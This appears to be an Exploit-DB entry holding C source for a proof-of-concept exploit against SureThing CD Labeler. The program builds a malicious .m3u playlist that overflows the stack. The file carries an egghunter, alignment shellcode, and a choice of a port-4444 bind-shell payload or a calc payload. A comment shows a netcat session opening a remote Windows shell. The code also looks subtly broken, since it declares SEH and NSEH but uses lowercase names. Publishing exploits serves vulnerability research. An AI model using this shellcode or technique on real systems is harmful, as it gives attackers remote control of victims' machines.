SureThing CD Labeler (m3u/pls) - Unicode Stack Overflow PoC Exploit



EDB-ID: 13767 CVE: N/A OSVDB-ID: N/A
Author: mr_me Published: 2010-06-08 Verified: Verified
Exploit Code:   Download Vulnerable App:   N/A

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/*
surethingcdlabelerbofpoc.c
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SureThing cd labeler (m3u/pls) - unicode stack overflow PoC exploit
Found by: Ruben Alejandro - chap0
Author: Steven Seeley - mr_me (http://net-ninja.net/)
Greetz to: Corelan Security Team
http://www.corelan.be:8800/index.php/security/corelan-team-members/
Writeup: Unicode, the magic of exploiting 0x00410041 (https://net-ninja.net/blog/?p=71)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Script provided 'as is', without any warranty.
Use for educational purposes only.
Do not use this code to do anything illegal !

Note : you are not allowed to edit/modify this code.
If you do, Corelan cannot be held responsible for any damages this may cause.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
usage:
Compile this with lcc-win32 and execute it choosing your shellcode to create the .m3u file.
Then click on 'playlists' --> 'Import Playlist from Hard Drive' -->
'Import playlist from a file on my computer' --> for filetype select 'Generic m3u/pls file'
--> open evil m3u file --> boom.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
mrme@backtrack:~$ nc -v 192.168.2.5 4444
192.168.2.5: inverse host lookup failed: Unknown server error : Connection timed out
(UNKNOWN) [192.168.2.5] 4444 (?) open
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\>
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

/* win32_bind - EXITFUNC=thread LPORT=4444 Size=717 Encoder=PexAlphaNum
   http://metasploit.com */

unsigned char bind[] =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x36\x4b\x4e"
"\x4f\x44\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x56\x4b\x58"
"\x4e\x56\x46\x32\x46\x32\x4b\x38\x45\x44\x4e\x43\x4b\x58\x4e\x47"
"\x45\x50\x4a\x57\x41\x50\x4f\x4e\x4b\x38\x4f\x34\x4a\x41\x4b\x58"
"\x4f\x55\x42\x52\x41\x30\x4b\x4e\x43\x4e\x42\x53\x49\x54\x4b\x38"
"\x46\x53\x4b\x58\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x39\x4e\x4a"
"\x46\x58\x42\x4c\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x30"
"\x44\x4c\x4b\x4e\x46\x4f\x4b\x33\x46\x55\x46\x42\x4a\x42\x45\x57"
"\x43\x4e\x4b\x58\x4f\x55\x46\x52\x41\x50\x4b\x4e\x48\x36\x4b\x58"
"\x4e\x50\x4b\x34\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x43\x30"
"\x4e\x52\x4b\x48\x49\x38\x4e\x36\x46\x42\x4e\x41\x41\x56\x43\x4c"
"\x41\x43\x42\x4c\x46\x46\x4b\x48\x42\x54\x42\x33\x4b\x58\x42\x44"
"\x4e\x50\x4b\x38\x42\x47\x4e\x41\x4d\x4a\x4b\x48\x42\x54\x4a\x50"
"\x50\x35\x4a\x46\x50\x58\x50\x44\x50\x50\x4e\x4e\x42\x35\x4f\x4f"
"\x48\x4d\x41\x53\x4b\x4d\x48\x36\x43\x55\x48\x56\x4a\x36\x43\x33"
"\x44\x33\x4a\x56\x47\x47\x43\x47\x44\x33\x4f\x55\x46\x55\x4f\x4f"
"\x42\x4d\x4a\x56\x4b\x4c\x4d\x4e\x4e\x4f\x4b\x53\x42\x45\x4f\x4f"
"\x48\x4d\x4f\x35\x49\x48\x45\x4e\x48\x56\x41\x48\x4d\x4e\x4a\x50"
"\x44\x30\x45\x55\x4c\x46\x44\x50\x4f\x4f\x42\x4d\x4a\x36\x49\x4d"
"\x49\x50\x45\x4f\x4d\x4a\x47\x55\x4f\x4f\x48\x4d\x43\x45\x43\x45"
"\x43\x55\x43\x55\x43\x45\x43\x34\x43\x45\x43\x34\x43\x35\x4f\x4f"
"\x42\x4d\x48\x56\x4a\x56\x41\x41\x4e\x35\x48\x36\x43\x35\x49\x38"
"\x41\x4e\x45\x49\x4a\x46\x46\x4a\x4c\x51\x42\x57\x47\x4c\x47\x55"
"\x4f\x4f\x48\x4d\x4c\x36\x42\x31\x41\x45\x45\x35\x4f\x4f\x42\x4d"
"\x4a\x36\x46\x4a\x4d\x4a\x50\x42\x49\x4e\x47\x55\x4f\x4f\x48\x4d"
"\x43\x35\x45\x35\x4f\x4f\x42\x4d\x4a\x36\x45\x4e\x49\x44\x48\x38"
"\x49\x54\x47\x55\x4f\x4f\x48\x4d\x42\x55\x46\x35\x46\x45\x45\x35"
"\x4f\x4f\x42\x4d\x43\x49\x4a\x56\x47\x4e\x49\x37\x48\x4c\x49\x37"
"\x47\x45\x4f\x4f\x48\x4d\x45\x55\x4f\x4f\x42\x4d\x48\x36\x4c\x56"
"\x46\x46\x48\x36\x4a\x46\x43\x56\x4d\x56\x49\x38\x45\x4e\x4c\x56"
"\x42\x55\x49\x55\x49\x52\x4e\x4c\x49\x48\x47\x4e\x4c\x36\x46\x54"
"\x49\x58\x44\x4e\x41\x43\x42\x4c\x43\x4f\x4c\x4a\x50\x4f\x44\x54"
"\x4d\x32\x50\x4f\x44\x54\x4e\x52\x43\x49\x4d\x58\x4c\x47\x4a\x53"
"\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x46\x44\x57\x50\x4f\x43\x4b\x48\x51"
"\x4f\x4f\x45\x57\x46\x54\x4f\x4f\x48\x4d\x4b\x45\x47\x35\x44\x35"
"\x41\x35\x41\x55\x41\x35\x4c\x46\x41\x50\x41\x35\x41\x45\x45\x35"
"\x41\x45\x4f\x4f\x42\x4d\x4a\x56\x4d\x4a\x49\x4d\x45\x30\x50\x4c"
"\x43\x35\x4f\x4f\x48\x4d\x4c\x56\x4f\x4f\x4f\x4f\x47\x33\x4f\x4f"
"\x42\x4d\x4b\x58\x47\x45\x4e\x4f\x43\x38\x46\x4c\x46\x36\x4f\x4f"
"\x48\x4d\x44\x55\x4f\x4f\x42\x4d\x4a\x36\x4f\x4e\x50\x4c\x42\x4e"
"\x42\x36\x43\x55\x4f\x4f\x48\x4d\x4f\x4f\x42\x4d\x5a";

unsigned char calc[] =
"\xd9\xf7\xd9\x74\x24\xf4\x5b\x53\x59\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41"
"\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42"
"\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x4b"
"\x4c\x4a\x48\x51\x54\x45\x50\x43\x30\x45\x50\x4c\x4b\x51\x55"
"\x47\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x43\x31\x4a\x4f\x4c"
"\x4b\x50\x4f\x44\x58\x4c\x4b\x51\x4f\x47\x50\x45\x51\x4a\x4b"
"\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50\x31\x49"
"\x50\x4a\x39\x4e\x4c\x4b\x34\x49\x50\x42\x54\x44\x47\x49\x51"
"\x49\x5a\x44\x4d\x45\x51\x49\x52\x4a\x4b\x4b\x44\x47\x4b\x50"
"\x54\x47\x54\x45\x54\x44\x35\x4d\x35\x4c\x4b\x51\x4f\x51\x34"
"\x43\x31\x4a\x4b\x42\x46\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x51"
"\x4f\x45\x4c\x43\x31\x4a\x4b\x4c\x4b\x45\x4c\x4c\x4b\x43\x31"
"\x4a\x4b\x4c\x49\x51\x4c\x46\x44\x43\x34\x48\x43\x51\x4f\x50"
"\x31\x4a\x56\x43\x50\x50\x56\x42\x44\x4c\x4b\x50\x46\x50\x30"
"\x4c\x4b\x47\x30\x44\x4c\x4c\x4b\x42\x50\x45\x4c\x4e\x4d\x4c"
"\x4b\x42\x48\x45\x58\x4b\x39\x4a\x58\x4b\x33\x49\x50\x42\x4a"
"\x50\x50\x42\x48\x4c\x30\x4c\x4a\x44\x44\x51\x4f\x45\x38\x4a"
"\x38\x4b\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43"
"\x45\x31\x42\x4c\x43\x53\x46\x4e\x43\x55\x43\x48\x45\x35\x45"
"\x50\x41\x41";

// unicode encoded egghunter
unsigned char egghunter[] =
"PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ"
"1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AY"
"AZBABABABAB30APB944JBQVE1HJKOLOPB0RBJLBQHHMNNOLM5PZ44J"
"O7H2WP0P0T4TKZZFOSEZJ6OT5K7KO9WA";

// venetian shellcode
unsigned char getAddressAndAlignEaxThenJmp[] =
"\x58\x6d\x58\x6d\x58\x6d\x58\x6d\x05\x02\x22\x6d\x2d\x02\x11\x6d"
"\x2d\x02\x11\x6d\x50\x6d\xc3";

unsigned char tag[] = "\x77\x30\x30\x74\x77\x30\x30\x74";

int main ( int argc , char * argv[])
{
    FILE* expfle = NULL;
    char* SEH = "\x72\x73"; // CALL DWORD PTR SS:[EBP-4] from dwwin.dll
	char* NSEH = "\x41\x6d";    int i;

	printf("\n***************************************************************************\n");
    printf("\tSureThing CD Labeler Unicode stack overflow PoC Exploit\n");
    printf("\tFound by: Ruben Alejandro - chap0\n");
	printf("\tCode by: Steven Seeley - mr_me\n");
   	printf("\thttp://www.net-ninja.net/\n");
   	printf("***************************************************************************\n");

    if( (expfle=fopen("cst-surethingcdlabeler.m3u","wb")) ==NULL )
    {
         perror("\n[-] Cannot create the exploit file..");
         exit(0);
    }

                for (i=0; i<8; i++)
                {
                    fwrite("\x41", 1, 1, expfle); // junk
                }

                fwrite(egghunter, sizeof(egghunter)-1, 1, expfle); // egghunter

                for (i=0; i<62; i++)
                {
                    fwrite("\x41", 1, 1, expfle); // junk
                }

				fwrite(nseh, sizeof(nseh)-1, 1, expfle); // nseh - walk
				fwrite(seh, sizeof(seh)-1, 1, expfle); // seh - unicode friendly
				fwrite(getAddressAndAlignEaxThenJmp, // custom unicode shellcode
				sizeof(getAddressAndAlignEaxThenJmp)-1, 1, expfle);

				for (i=0; i<405; i++)
                {
                    fwrite("\x41", 1, 1, expfle); // junk
                }

				fwrite(tag, sizeof(tag)-1, 1, expfle); // egghunter tag

				printf ("\n[+] Enter shellcode option: \n");
				printf ("\n\t1. Bindshell on port 4444");
				printf ("\n\t2. Calc.exe\n");
  				scanf ("%d",&i);

				if (i == 1){
					fwrite(bind, sizeof(bind)-1, 1, expfle); // bind
				}
				else if (i == 2){
					fwrite(calc, sizeof(calc)-1, 1, expfle); // calc
				}

                fclose(expfle);
                printf("\n[+] cst-surethingcdlabeler.m3u created successfully! \r\n");

    return 0;

}